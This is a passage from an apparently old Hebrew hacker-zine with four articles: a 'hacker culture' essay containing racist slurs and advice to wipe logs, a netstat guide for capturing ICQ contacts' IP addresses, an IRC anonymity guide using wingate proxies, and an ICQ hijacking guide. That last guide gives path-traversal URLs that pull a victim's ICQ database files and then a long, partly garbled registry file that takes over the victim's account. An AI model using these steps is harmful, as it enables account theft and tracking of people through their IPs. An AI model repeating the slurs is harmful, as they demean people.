‫תרבות ההאקרים‬

‫הקדמה‬
‫בטקסט זה נספר קצת על התרבות של ההאקרים של ימינו‪ ,‬נגדיר את סוגם ונאפיין כל אחד ואחד‬
‫מהם‪.‬‬
‫הטקסט אמור להבהיר את עמדתם של ההאקרים בפריצה לאתר או לשרת שהם בוחרים ואת‬
‫הסיבות‪.‬‬

‫אתם בטח שואלים את עצמכם‪ ,‬מה לעזאזל אני רוצה מכם ולמה אני בכלל מוציא את החרבון‬
‫הזה לאור?‬
‫הסיבה פשוטה‪...‬כי אני פדופיל משועמם ואין לי מה לעשות בחיים חוץ מלמשש את כפתורי‬
‫המחשב‪.‬‬
‫ועכשיו ברצינות‪ ,‬נתחיל!‬

‫רוב ההאקרים‪ ,‬אפילו בלי ידיעתם של רבים מהם‪ ,‬לא יודעים למה הם פורצים בשיטה אחת או‬
‫אחרת‪ ,‬ולמה הם עושים נזק בלתי הפיך או נזק מזערי‪...‬אבל אנחנו ננסה להגדיר אותם במקומם‪.‬‬
‫אני בטוח שלא פעם ולא פעמיים נפגשתם באתר שנפרץ‪ ,‬ורואים שכל לינק שאתם מנסים להתחבר‬
‫אליו דרך השרת‪ ,‬מת‪.‬‬
‫הסיבה לזה פשוטה‪ ,‬ההאקר שלנו‪ ,‬מחק לא רק את כל העקיבות של הרשומות שעוקבות אחריו [‬
‫‪ ]LOGS‬אלא גם את כל תוכן האתר\השרת‪.‬‬
‫ולמה הוא עשה את זה? ‪-‬גם כאן הסיבה בדרך כלל אחידה‪ ,‬פריצה מסוג זה באה בדרך כלל‬
‫מסיבות גזעניות‪ ,‬מה שבתקופה האחרונה אנחנו נתקלים בו הרבה למדיי‪...‬אז הבנאדם מחליט‬
‫שמאכסן השרת הזה חייב למות ושייקלוט את המסר שהוא לא רצוי פה‪...‬‬
‫עוד סיבה לפריצה מסוג זה‪ ,‬באה בגלל שהבנאדם רוצה להשוויץ שהוא גורו [מין אליל] ושאף אחד‬
‫לא מסוגל עליו‪ ,‬בגלל שהוא מחק מהייקום איזה שרת ערבי מסכן‪ ,‬שלמנהל שלו אין במילא ממה‬
‫להתפרנס‪ ,‬אז הוא אפילו לא מאבטח אותו כמו שצריך‪...‬אז ממה כבר יש לו להתלהב? ‪-‬אז הוא‬
‫הריץ באג‪..‬אז הוא השתלט על השרת‪..‬מרגיש גבר אה?‬
‫אז שתדעו‪ ,‬שרוב ההאקרים הם לא כאלה‪ ,‬והם לא פועלים סתם בגלל דחפים לאומיים וכיוצא‬
‫בהם‪.‬‬
‫אז מה בעצם המטרה של ה‪"-‬האקר הלוחם" שלנו בפריצה?‬
‫המטרה היא להעביר מסר או נקמה‪[ ,‬בדרך כלל תוקעים איזה דגל ישראל ברקע]‪.‬‬
‫הפריצה באה במטרה להרוס את היריב ולא שום דבר מעבר לכך‪...‬או בגלל שהבנאדם רק חזר‬
‫מאיזה דיסקוטק ביום שישי ואמא כבר במיטה עם המאהב‪ ,‬אז אין מה לעשות ואין כוח‬
‫לישון‪[...‬והסיבה הזאת מוצדקת]‪.‬‬

‫עכשיו נגלה את הצד של ה‪"-‬האקר החיובי"‪:‬‬


‫ההאקר החיובי‪ ,‬הוא בעצם האקר\מאבטח‪ ,‬שהמטרה שלו בפריצה היא בדרך כלל להזהיר את‬
‫מנהל השרתים מאיזה באג באחת התוכנות\שרתים שמותקנים על השרת שלו‪.‬‬
‫כך מנהל השרת ייתקן את הבאג ושני הצדדים יהיו מבסוטים ואפילו לפעמים הפורץ ייקבל‬
‫איזושהי תמורה למעשה!‬
‫‪ -‬התנאי הוא‪ ,‬שהפורץ החכם שלנו‪ ,‬לא יימחק את דף המקור‪ ,‬אלא רק יישנה את שמו‪ ,‬ואת הדף‬
‫אותו הוא רוצה לעלות במקום‪ ,‬הוא יישנה לשם של דף האינדקס לדוגמא‪http://www.tuvia- :‬‬
‫‪the-kli.com/index.html‬‬
‫והאתר ייעלה תחת הקובץ שאותו שם הפורץ‪ ,‬שם הוא יכול לכתוב מה שבא לו‪...‬אבל הפורץ‬
‫המתורבת‪ ,‬ישים רק אזהרה למנהל השרת‪ ,‬ויציין את תיבת הדואר האלקטרוני שלו‪ ,‬ואת שם‬
‫הקובץ אותו הוא שינה‪.‬‬
‫אתם בטח שואלים את עצמכם‪":‬אבל מושיקו הוא כושון נחמד‪ ,‬למה לשרוף אותו?" ‪-‬נו טוב‪...‬זה‬
‫מה שאני הייתי שואל את עצמי‪ ,‬אבל נתעלם מזה‪.‬‬
‫השאלה שתצוץ בראש היא‪ ,‬מה ייצא לי מזה בכלל?!?!‬
‫התשובה פשוטה‪ :‬אתה תיחשב בתור האקר עם כבוד‪ ,‬ולא סתם אחד שאין לו חיים‪ ,‬אז הוא מוחק‬
‫אתרים‪...‬והרבה פעמים‪ ,‬מנהל השרת גם יימליץ עליכם לאחרים‪ ,‬וככה אולי אפילו תזכו להרבה‬
‫צ'ופרים ואולי אפילו עבודה!‬

‫‪178‬‬
‫בזמן האחרון‪ ,‬ההאקר החיובי תופס תאוצה ברשת‪ ,‬כי רוב ההאקרים מבינים שאם הם ימשיכו‬
‫בדרך השלילית‪...‬זה יוביל אותם לקינוס המחשב שלהם‪ ,‬ואולי אפילו לתיקים פליליים‪...‬אז בשביל‬
‫מה כל הבלאגן?‬

‫חשוב לזכור‪:‬‬
‫לא תמיד מנהל השרת יחשיב את הפריצה שלכם כמשהו חיובי‪ ,‬ובכל רגע הוא יכול להסתכל על‬
‫הלוגים שלנו [רשומות] אלא אם לא מחקתם אותם‪ ,‬ופשוט לדווח עליכם למשטרה או לספק‬
‫האינטרנט שלכם ‪-‬שבשמחה יירצה לקחת ממכם את חשבון האינטרנט שלכם אפילו אם הוא‬
‫מרוויח מזה‪...‬‬

‫מסקנה‪:‬‬
‫אם אתם בוחרים ללכת על האקינג‪ ,‬תחשבו טוב טוב איזה סוג של "פרצנים" אתם רוצים‬
‫להיות‪...‬תחשבו אם בכלל כדאי לכם להיכנס לעסק המלוכלך‪ ,‬ואם כן‪ ,‬אז שתדעו טוב יותר את‬
‫הדברים שלפניכם‪...‬‬

‫‪By CnTaX‬‬

‫‪179‬‬
‫מידע על ‪ IP‬וערוצים(‪ )Ports‬על‪-‬ידיי פקודת ‪netstat‬‬

‫תוכן עניינים‪:‬‬

‫מבוא‬
‫א‪ .‬שימוש ב‪NETSTAT-‬‬
‫ב‪ .‬פענוח ערוצים פתוחים‬
‫ג‪ .‬שימוש ב‪ NETSTAT-‬לגילוי מספרי ‪ IP‬של משתמשי תוכנת ‪ICQ‬‬
‫ד‪ .‬שימושים נוספים‬
‫ה‪ .‬כלים ועזרים‬
‫ו‪ .‬טיפים שימושיים‬
‫ז‪ .‬סיכום‬

‫מבוא‬
‫אתם קוראים מדריך של ארגון ההאקרים הישראלי‪ ,‬אנא התעלמו משגיאות כתיב‪.‬‬
‫אני מקווה שתרכשו יידע מעמיק יותר מקריאת טקסט זה‪ ,‬והעיקר הוא שתהנו מקריאתכם!‬
‫אני מציע שתדפיסו את הטקסט בכדיי שיהיה לכם נוח יותר לקרוא אותו‪.‬‬
‫קריאה מהנה‪.CNTAX ,‬‬

‫א‪ .‬שימוש ב‪NETSTAT-‬‬


‫‪-‬הפעלת התוכנה‪:‬‬
‫לחצו על [‪(]START‬התחל בגירסא העברית) [‪(]PROGRAMS‬תוכנות או עזרים) [‪MS-DOS‬‬
‫‪.]PROMPT‬‬
‫‪ NETSTAT‬היא תוכנה מאוד שימושית שמתאימה להרבה משימות‪ .‬אני אישית משתמש בתוכנה‬
‫בכדיי להשיג מספרי ‪ IP‬של אנשים שאני מדבר איתם ב‪ .ICQ-‬כמו כן אפשר להשתמש ב‪-‬‬
‫‪ NETSTAT‬על מנת לאתר פריצות של סוסים טרויאנים(‪ )TROJANS‬במחשבכם או סתם בכדיי‬
‫לראות את תנועת הערוצים‪.‬‬
‫הסתכלו על הדוגמא שלפניכם של הפלט שנותנת התוכנה בעת הקשת‪ NETSTAT :‬בשורה‪:‬‬
‫‪ c:\windows‬בחלון ‪.MS-DOS PROMPT‬‬

‫‪C:\WINDOWS>netstat‬‬

‫‪Active Connections‬‬
‫‪Proto Local Address‬‬ ‫‪Foreign Address‬‬ ‫‪State‬‬
‫‪TCP pavilion:25872‬‬ ‫‪WARLOCK:1045‬‬ ‫‪ESTABLISHED‬‬
‫‪TCP pavilion:25872‬‬ ‫‪sy-as-09-112.free.net.au:3925 ESTABLISHED‬‬
‫‪TCP pavilion:31580‬‬ ‫‪WARLOCK:1046‬‬ ‫‪ESTABLISHED‬‬
‫‪TCP pavilion:2980‬‬ ‫‪205.188.2.9:5190‬‬ ‫‪ESTABLISHED‬‬
‫‪TCP pavilion:3039‬‬ ‫‪24.66.10.101.on.wave.home.com:1031 ESTABLISHED‬‬

‫עכשיו בואו נסתכל על הדוגמא‪ .‬אתם רואים [‪ ]PROTO‬בצדו השמאלי של המסך‪.‬‬


‫אחריו תראו [‪ ]Foreign Address‬שורה זו תתן לנו את מספר ה‪ IP-‬או‪/‬ו שם השרת של המשתמש‬
‫ואת הערוץ(‪ )PORT‬עליו הוא נמצא בצורה הבאה‪ IP:Port :‬עם "‪ ":‬בין מספר ה‪ IP-‬לערוץ‪.‬‬
‫ובסוף תמצאו את המילה [‪(]STATE‬מצב) מה שפשוט מראה את מצב הערוץ(‪.)PORT‬‬
‫חלק זה יכול להיות במצב‪ ESTABLISHED-‬במצב מחובר או‪ WAITING CONNECT-‬אם אם‬
‫הוא במצב האזנה(למידע)‪.‬‬
‫עכשיו עם יידע זה אנחנו עוברים לשלב מתקדם יותר על איך להשתמש בתוכנה בכדיי לפענח‬
‫ערוצים פתוחים‪.‬‬

‫ב‪ .‬פענוח ערוצים פתוחים‬

‫‪180‬‬
‫קרה לכם שמשהו מוזר קורה למחשב שלכם? הסי‪.‬די‪-‬רום נפתח בעצמו? המסך נכבה בלי‬
‫שכיביתם אותו? ואתם שואלים את עצמכם מה לעזאזל קורה פה?‪...‬ולפתע מבינים שמישהו פורץ‬
‫לכם למחשב בעזרת טרויאן(‪.)TROJAN‬‬
‫אז עכשיו המשימה שלכם היא לבדוק איזה טרויאן שלחו לכם ולהשמיד אותו נכון? ובכן אתם‬
‫צודקים‪.‬‬
‫אז לכו שוב ל‪ .MS-DOS PROMPT-‬עכשיו יש לנו הרבה אפשרויות שאפשר להשתמש בהם דרך‬
‫‪ NETSTAT‬אז אתם יכולים לכתוב כך על מנת לקבל את תפריט העזרה של ‪:NETSTAT‬‬
‫‪c:\windows>netstat help‬‬
‫(אולי אני אכתוב תוסף שיופיע בו התפריט במצב מתורגם)‬
‫תעיינו בתפריט ותחזרו לכאן‪...‬‬
‫קראתם?‪...‬אז בואו נמשיך‪...‬‬
‫אני אישית אוהב את הפקודה (‪ )c:\windows\netstat -an‬שמראה את כל הערוצים(‪)PORTS‬‬
‫הפתוחים ואת כל החיבורים בצירוף כתובת ה‪ IP-‬במקום שם השרת(‪.)HOSTNAME‬‬
‫עכשיו כשאתם יודעים לבדוק את החיבורים‪ ,‬אתם יכולים לחפש ערוצים של טרויאנים כמו‬
‫‪ NETBUS(12345‬הישן) כמו ‪ )SUB SEVEN(1243‬וכו'‪.‬‬
‫עכשיו כל מה שלמדתם יהיה מאוד שימושי לכל הצרכים שלכם שמייד תגלו‪ ,‬אבל קודם לכו תעשו‬
‫הפסקה קטנה כדיי שכל המידע שקיבלתם עד עכשיו ייספג לכם טוב טוב למוח ותחזרו לפה‬
‫מוכנים ללמוד עוד!‬

‫ג‪ .‬שימוש ב‪ NETSTAT-‬לגילוי מספרי ‪ IP‬של משתמשי תוכנת ‪ICQ‬‬

‫האם אי‪-‬פעם רציתם להשיג את ה‪ IP-‬של מישהו שעיצבן אותכם ב‪ ICQ-‬אבל הוא היה מוסתר או‬
‫שפשוט לא הופיע? אני מתאר לעצמי שכן‪...‬אז בואו נלמד שיטה שתעזור לנו למצוא ‪ IP‬של אנשים‬
‫שמחוברים ל‪ ICQ-‬שלנו‪.‬‬
‫גילוי מספר ‪ IP‬של משתמש ‪ ICQ‬דרך ‪- NETSTAT‬‬
‫בכדיי להשיג מספר ‪ IP‬של המשתמש‪ ,‬עליכם לפתוח את ה‪ MS-DOS PROMPT-‬ולעשות‬
‫‪( netstat -n‬בכדיי לראות את כל רשימת הפורטים הפתוחים) לפני שהתחלתם לדבר איתו ב‪,ICQ-‬‬
‫רשמו את המספרים על דף או מסמך‪.‬‬
‫עכשיו הגיע הזמן לגלות את מספר ה‪ IP-‬שלו‪ .‬שלחו למשתמש הודעה עכשיו עשו במהירות ‪netstat‬‬
‫‪-n‬‬
‫ותתווסף לכם שורה חדשה של מספר ‪ ,IP‬עכשיו גלו בעזרת הרשימה שעשיתם את המספר החדש‪,‬‬
‫עכשיו יש לכם את המספר של המשתש בלי להשתמש בכל מיני פריצות ופאצ'ים(שלא תמיד‬
‫עובדים) עכשיו אחרי לכדתם את המספר שלו אתם יכולים לעשות איתו מה שבא לכם! כיף לא?‬

‫ד‪ .‬שימושים נוספים‬

‫ב‪ NETSTAT-‬אפשר להשתמש להשגת ‪ IP‬של כל דבר וכל אחד‪ ,‬כל עוד יש חיבור ישיר בין שני‬
‫הכיוונים(בינך לבין התוכנה או בין המשתמש השני) לדוגמא‪:‬העברת קבצים‪ ,‬הודעות ישירות‪,‬‬
‫צ'אט של ‪ ,ICQ‬במירק(‪ )MIRC‬ועוד‪...‬‬

‫ד‪ .‬כלים ועזרים‬


‫סריקת ערוצים‪ :‬בכדיי לבדוק ערוצים(‪ )PORTS‬פתוחים במחשב(לא שלכם ‪)):‬‬
‫[‪ - ]seventh sphere port scanner‬שני אתרים למקרה שאחד האתרים נפל‬
‫‪http://members.xoom.com/Cryptog/7spereportscan.exe‬‬
‫‪http://members.xoom.com/gohan_3/7spereportscan.exe‬‬
‫[‪ - ]Lockdown 2000‬תוכנה למניעת פריצות למחשב האישי‬
‫‪http://www.lockdown.com‬‬
‫[‪ - ]ICQ‬למי שעדיין אין לו(למרות שלא נראה לי שיש מישהו כזה‪)..‬‬
‫‪http://web.icq.com‬‬

‫‪181‬‬
‫ה‪ .‬טיפים שימושיים‬

‫א‪ .‬לפעמים ‪ NETSTAT‬פולט רשימות ארוכות מאוד מה שעלול להקשות ולבלבל משתמש מתחיל‪.‬‬
‫אם אתם מתקשים‪ ,‬פשוט תריצו את ‪ NETSTAT‬ללא שום פקודות ותיצרו קשר עם המשתמש‬
‫השני(על ידיי שליחת‪/‬קבלת הודעה מהמשתמש השני) ואז תריצו את ‪ NETSTAT‬שנית‪ .‬צריכה‬
‫להופיע שורה חדשה ‪ -‬זה מה שאתם מחפשים!‬
‫ב‪ .‬יבוא בגירסא הבאה‪...‬‬

‫ו‪ .‬לסיכום‬

‫אני מאוד מקווה שהמדריך העניק לכם יידע ושמעכשיו תתחילו להתנסות בדרכים מקצועיות יותר‬
‫כמו זו‪.‬‬
‫אני מבטיח שעוד הרבה מאוד מדריכים יגיעו בהמשך ויילוו אתכם לאורך כל הדרך‪ ,‬עד שתהייו‬
‫איינשטיינים קטנים! טוב‪...‬אולי הגזמתי ‪ ):‬אז בקיצור תכנסו לאתר שלנו בכדיי להתעדכן בעולם‬
‫ההאקרים וכל העולם התחתון!‬

‫‪By Tricker‬‬
‫תורגם ע"י ‪CnTax‬‬

‫‪182‬‬
‫אנונימיות ב‪irc -‬‬

‫שלום לכולם במדריך זה אני יראה לכם כמה שיטות איך להיות אנונימי ב‪ irc-‬כתבתי את המדריך‬
‫הזה מכיוון‬
‫שכל הזמן שואלים אותי איך להסתיר את האי פי שלי אז תקראו ותבינו אז יאללה נתחיל‬

‫שיטה ‪:1-‬‬

‫במירק ישנה אפשרות לשרתים שתומכים בזה להסתרת האיי פי וזה הולך ככה‬
‫'‪( '/mode yournick +x‬בלי הגרשים)‬
‫זה אומר לשרת ‪ irc‬אם הוא תומך בזה להסתיר את האיי פי אם מישהו עושה עליך ‪whois‬‬

‫שיטה‪ 2-‬דרך ‪ wingate‬הדרך הקלה‬

‫כל מה שאתה צריך לעשות בשיטה הזאת זה ללכת ל‪:‬‬


‫‪file --> option --> firewall‬‬
‫ולסמן את האפשרות‬
‫‪USE SOCKS firewall‬‬
‫ולהכניס שרת ‪ wingete‬בפורט ‪1080‬‬

‫שיטה‪ 3-‬דרך ‪ wingate‬הדרך הקשה‬

‫תכנס את הפקודה הבא כאשר את במצב ‪offline‬‬


‫‪/server wingate-ip:[port 23] ie /server xxx.xxx.xxx)IP Address( 23‬‬
‫עכשיו אתה מחובר ל ‪wingate‬‬
‫עכשיו להתחבר לשרת מירק שאתה רוצה תכניס את השורה הבא‬
‫‪/quote irc.server.com 6667‬‬

‫את הצעד הבא תצטרך לבצע מהר לפני שתקבל פינג תכניס את השורות הבאות‬
‫‪/quote user god bikkel snikkel urnick‬‬
‫‪/quote nick urnick‬‬

‫אם יש לכם תגובות או בקשות שלחו לי איי מיל‬


‫‪elidor86@hotmail.co.il‬‬

‫‪By VB-Man‬‬

‫‪183‬‬
‫קיו‬.‫סי‬.‫פריצה לאי‬

‫קובץ הסבר על להשיג סיסמאות של משתמשים אחרים & להתלבש על המספר שלהם(בלי‬
.)‫הסיסמא‬
.)‫הרבה אנשים רצו לדעת איך לעשות את זה וזה ממש קל (למי שחשב שזה קשה‬
.‫ אז עם לא עובד לכם אל תבואו בטענות‬,‫ זה לא תמיד עובד‬- ‫אבל יש בעיה קטנה קטנה‬
:‫ תוודאו שאתם יודעים את הדברים הבאים‬- ‫קודם‬
.‫ והוא לא נגע בהגדרות שהאיסיקיו שם לא לאחר ההתקנה‬99 ‫& שהוא הוריד את גירסא‬
.‫ לא אני כתבתי את האיסיקיו אז מצטער‬,‫אני יודע שזה קצת מעיק אבל אין מה לעשות‬
.‫זה טוב לעבוד על ליימרים או אנשים שאתם יודעים מה קורה אצלהם במחשב‬
.‫& איפי של המשתמש שאתם רוצים לגלות את סיסמתו‬
.‫& מספר האי סי קיו של המשתמש שאתם רוצים לגלות את סיסמתו‬
‫ הורידו את הקבצים הבאים‬.1
http://123.123.123.123/.html/....../db/UIN.idx
http://123.123.123.123/.html/....../db/UIN.dat
http://123.123.123.123/.html/....../db/UINmsg.dat
http://123.123.123.123/.html/....../db/UINmsg.idx
http://123.123.123.123/.html/....../db/UINhis.idx
http://123.123.123.123/.html/....../db/UINhis.dat
‫ שימו את המספר‬UIN - ‫ החליפו במספר האיפי של הקורבן ובמקוםה‬123.123.123.123 - ‫*את ה‬
.‫שלו‬
‫ לא שמונה(הם השורות לגישה של התיקיה של האיסיוקיו של‬,‫**יש שש נקודות באמצע השורה‬
.)‫הקורבן‬
.‫כאן יש להשתמש באקספוילט אחר אשר לא בגכל הפעמים זקוקים לו‬
:‫פתחו קובץ טקסט חדש והעתיקו את השורות הבאות לשם‬.2
.‫ למספר של הקורבן שלכם‬HACKEDUIN ‫ להחליף את המילה‬: ‫*** לזכור‬
"HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN["Name"="Hacked UIN[
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs[
Random Groups Version"=dword:0000000a"Online Color"=dword:00ff0000"
Unlisted Color"=dword:00800000"Offline Color"=dword:000000ff"
Authorize Color"=dword:00400080"Notify Color"=dword:00800080"
LastStatus Color"=dword:00008000"
""="Default File Dir"="C:\\Program Files\\ICQ\\Received Files""SMTP Address"
""="DND Message"="Please do not disturb me now. Disturb me later.""Out Message"
".Busy Message"="User is occupied. Only urgent messages will be delivered"
Chat Message"="I would like to chat about anything""Away PreNum"=dword:00000000"
Out PreNum"=dword:00000000"Busy PreNum"=dword:00000000"
DND PreNum"=dword:00000000"Chat PreNum"=dword:00000000"
File Options"=dword:00000004"URL Options"=dword:00000004"
Chat Options"=dword:00000004"All Options"=dword:0000000e"
"EXT Options"=dword:00000004"Startup"="No""Auto Away"="No"
"Auto Hide Time"=dword:0000001e"Auto Hide"="No""Move Server Top"="No"
"Blink In Tray"="No""Sort Lists"="Yes""Show Online List"="No"
"Remove AddFriend"="Yes""Splash Open"="Yes""History Last First"="Yes"
"FloatTop"="Yes""Thru Server"="No""Join Chat"="No""Open URL Browser"="No"
"Refuse File NotInList"="No""Overwrite ExistFile"="No"
"Disable Online Alert"="Yes""Accept Urgent In Busy"="No"
"Blink Tray In AwayBusy"="Yes""Use Contact List Color"="No"
"Contact List Color"=dword:00c8b99d"Save User File"="Yes""Auto Update"="Yes"
"Search Wizard"="No""Default Mailer"="Yes""Pop Play Sound"="Yes"
Pop Auto Launch"="No""Pop Check"="No""Pop Time"=dword:0000000a"
"Check Headers"="Yes""MoveToOutDelay"=dword:00000014"MoveToOut"="No"
"MoveToAwayDelay"=dword:0000000a"MoveToAway"="No""Auto Sleep Mode"="No"
"Log History Events"="Yes""Connection Type"="Permanent""Firewall"="Yes"
UseGivenIP"="No""Socks"="No""SocksPort"=dword:00000438"
"SocksServer"="Enter your socks server"
ProxySocks4Host"="Enter your proxy server""ProxySocks4Port"=dword:00000438"
UseProxySocks4"="No""GiveStats"="No""SocksVersion"=dword:00000004"
SocksAuthentication"=dword:00000000"FirewallTimeout"=dword:0000001e"
"UseFirewallTimeout"="No""UseFirewallRangePorts"="Yes"
FirewallFromPort"=dword:000059d8"FirewallToPort"=dword:00007148"
";"="Old Sockets"="No""UserType"=dword:00000000"Mail Receipients"

184
Random Available"="No""RandomGroupName"=dword:00000001"
"Random Name"="#¥d¶³ 666 £]""Allow Secure Clients Only"="Yes"
PhoneApproval"="Yes""PhoneToneTime"=dword:00000032"
PhonePauseTime"=dword:000001f4"PhoneBreakTime"=dword:00000028"
" "="PhoneSettings"=dword:00000001"PhonePauseChar"=",""PhoneLocalP"
"PhoneLongP"=" ""PhoneInterP"=" ""Chat RoomName"="Product Support / Suggestion"
Auto Join Chat Room"="Yes""Novice Counter"=dword:0000000a"
Menu Counter"=dword:00000013"Servers Version"=dword:00000001"
Externals Version"=dword:00000019"
\,Stats"=hex:60,ff,ea,52,5c,36,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00"
\,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
\,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
\,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
\,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
\,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
\,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
\,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
"Novice"="No"00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
Dropped Users"=hex:01,00,00,00,43,ca,35,00,e6,02,1f,00"
State Flags"=dword:00000000"Server Msg Version"=dword:0000000b"
Server Msg Shown"=dword:00000001"Server Msg Count"=dword:00000009"
"LeftButton Warning"="No""Menu Left Click"="No""Tip Startup"="No"
"Tip Position"=dword:00000000"MoreEvents Warning"="No""Invisible Warning"="No"
"Send Later Warning Off"="No""Busy Warning"="No""Away Warning"="No"
"DND Warning"="No""FT Warning"="No""Ext Warning"="No""Out Warning"="No"
"Chat Warning"="No"
"Away Message"="User is currently away\r\nYou can leave him/her a message"
Random Comment"="You won't be hurt by things you don't care.\r\n\r\n(c) Calvin's Labs, 1993-1998."
".No Rights Reserved.\r\nIt's not a secret. It's not a magic. It's not a myth
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\YOURUIN\Prefs\Presets[
"!OutMsg Presets 0"="I'm out'a here. See you tomorrow"
".DNDMsg Presets 0"="Please do not disturb me now. Disturb me later"
"Away PresetsMsg 0"="Away""Out PresetsMsg 0"="Out for the day"
"Busy PresetsMsg 0"="Busy""DND PresetsMsg 0"="DND""Chat PresetsMsg 0"="Chat"
".AwayMsg Presets 1"="I am out to lunch. I will return shortly"
""="OutMsg Presets 1"
".DNDMsg Presets 1"="I am currently in a meeting. I can't be disturbed"
"ChatMsg Presets 1"="Come Join my chat room!""Away PresetsMsg 1"="Lunch"
"Out PresetsMsg 1"="Not here""Busy PresetsMsg 1"="Meeting"
"DND PresetsMsg 1"="Meeting""Chat PresetsMsg 1"="Come In"
"!AwayMsg Presets 2"="Don't go anywhere! I'll be back in a jiffy"
".OutMsg Presets 2"="I'm closed for the weekend/holidays"
"!DNDMsg Presets 2"="Don't disturb my concentration"
"!ChatMsg Presets 2"="Don't miss out on the fun! Join our chat"
"Away PresetsMsg 2"="Be right back""Out PresetsMsg 2"="Closed"
"Busy PresetsMsg 2"="Concentration""DND PresetsMsg 2"="Concentration"
"Chat PresetsMsg 2"="Fun"
".AwayMsg Presets 3"="I'm out with the dog. Be back when he's finished"
".'OutMsg Presets 3"="Gone fishin"
"!DNDMsg Presets 3"="I'm on the phone with a very important client. Don't disturb me"
"!ChatMsg Presets 3"="What are you waiting for? Come on in"
"Away PresetsMsg 3"="Dog Walk""Out PresetsMsg 3"="Fishing"
"Busy PresetsMsg 3"="On the Phone""DND PresetsMsg 3"="On the Phone"
" .Chat PresetsMsg 3"="Don't Wait""AwayMsg Presets 4"="Went out for a smoke"
".OutMsg Presets 4"="I'm sleeping. Don't wake me"
".DNDMsg Presets 4"="I can't chat with you now. I'm busy"
".ChatMsg Presets 4"="We'd love to hear what you have to say. Join our chat"
"Away PresetsMsg 4"="Smoke""Out PresetsMsg 4"="Sleeping"
" Busy PresetsMsg 4"="Can't chat ""DND PresetsMsg 4"="Can't chat"
".Chat PresetsMsg 4"="Hear""AwayMsg Presets 5"="On my Coffee break"
".OutMsg Presets 5"="Went home. Had to feed the kids"
"?DNDMsg Presets 5"="Can't you see I'm working"
"ChatMsg Presets 5"="Enter your chat room message here"
"Away PresetsMsg 5"="Coffee""Out PresetsMsg 5"="Kids"
"Busy PresetsMsg 5"="Working""DND PresetsMsg 5"="Working"
".Chat PresetsMsg 5"="Empty""AwayMsg Presets 6"="Went to get some fresh air"
".OutMsg Presets 6"="Gone for good"
"DNDMsg Presets 6"="Enter your occupied message here"
"ChatMsg Presets 6"="Enter your chat room message here""Away PresetsMsg 6"="Air"
"Out PresetsMsg 6"="Gone""Busy PresetsMsg 6"="Conversing"
"DND PresetsMsg 6"="Empty""Chat PresetsMsg 6"="Empty"
".BusyMsg Presets 7"="User is occupied. Only urgent messages will be delivered"
"DNDMsg Presets 7"="Enter your occupied message here"
"ChatMsg Presets 7"="Enter your chat room message here"
"Away PresetsMsg 7"="Empty""Out PresetsMsg 7"="Empty""Busy PresetsMsg 7"="Empty"

185
"DND PresetsMsg 7"="Empty""Chat PresetsMsg 7"="Empty"
"BusyMsg Presets 0"="User is currently Occupied"
"ChatMsg Presets 0"="I would like to chat about anything"
"BusyMsg Presets 1"="User is currently Occupied1"
"BusyMsg Presets 2"="User is currently Occupied2"
"BusyMsg Presets 3"="User is currently Occupied"
"BusyMsg Presets 4"="User is currently Occupied"
"BusyMsg Presets 5"="User is currently Occupied"
"BusyMsg Presets 6"="User is currently Occupied"
"AwayMsg Presets 7"="User is currently away"
"OutMsg Presets 7"="User is currently N/A"
"AwayMsg Presets 0"="User is currently away\r\nYou can leave him/her a message"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD[
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message0[
".Message"="Please bookmark our network status page"
""="URLName"="http://www.mirabilis.com/status.html""URL"="press here""Date"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message1[
"URLName"="http://www.mirabilis.com/emailsig.html"
""="URL"="Go to the ICQ e-mail signature generator""Date"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message2[
Message"="ICQ is doing it again! One more new service from ICQ for your pleasure! Create your ICQ"
interest group - home, work, family, hobby, affiliation, sports, music...etc..( It's straight forward, no
"( !HTML needed
"URLName"="http://www.icq.com/announcements/02.html"
"URL"="It's fun and easy, GO!!""Date"="31-MAR-98"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message3[
"!URLName"="http://www.icq.com/announcements/whitepages.html""URL"="Go"
"Date"="1-APR-98"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message4[
Message"="ICQ can notify you when you receive an e-mail and show you the e-mail headers! Learn"
"!how to do it
"URLName"="http://www.mirabilis.com/email.html"
"URL"="E-mail notification instructions""Date"="15-JUN-98"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message5[
"URLName"="http://www.icq.com/announcements/05.html""URL"="Create your Greeting"
"Date"="12-JUL-98"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message6[
"URLName"="http://www.icq.com/announcements/06.html"
"URL"="Click For More Information""Date"="26-AUG-98"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message7[
"!Message"="ICQ can alert you when you receive Emails and show you the Email headers"
"URLName"="http://www.icq.com/announcements/07.html""URL"="Learn how to do it"
"Date"="06-SEPT-98"
]HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Owners\HACKEDUIN\Prefs\MOTD\Message8[
"URLName"="http://www.icq.com/announcements/06.html"
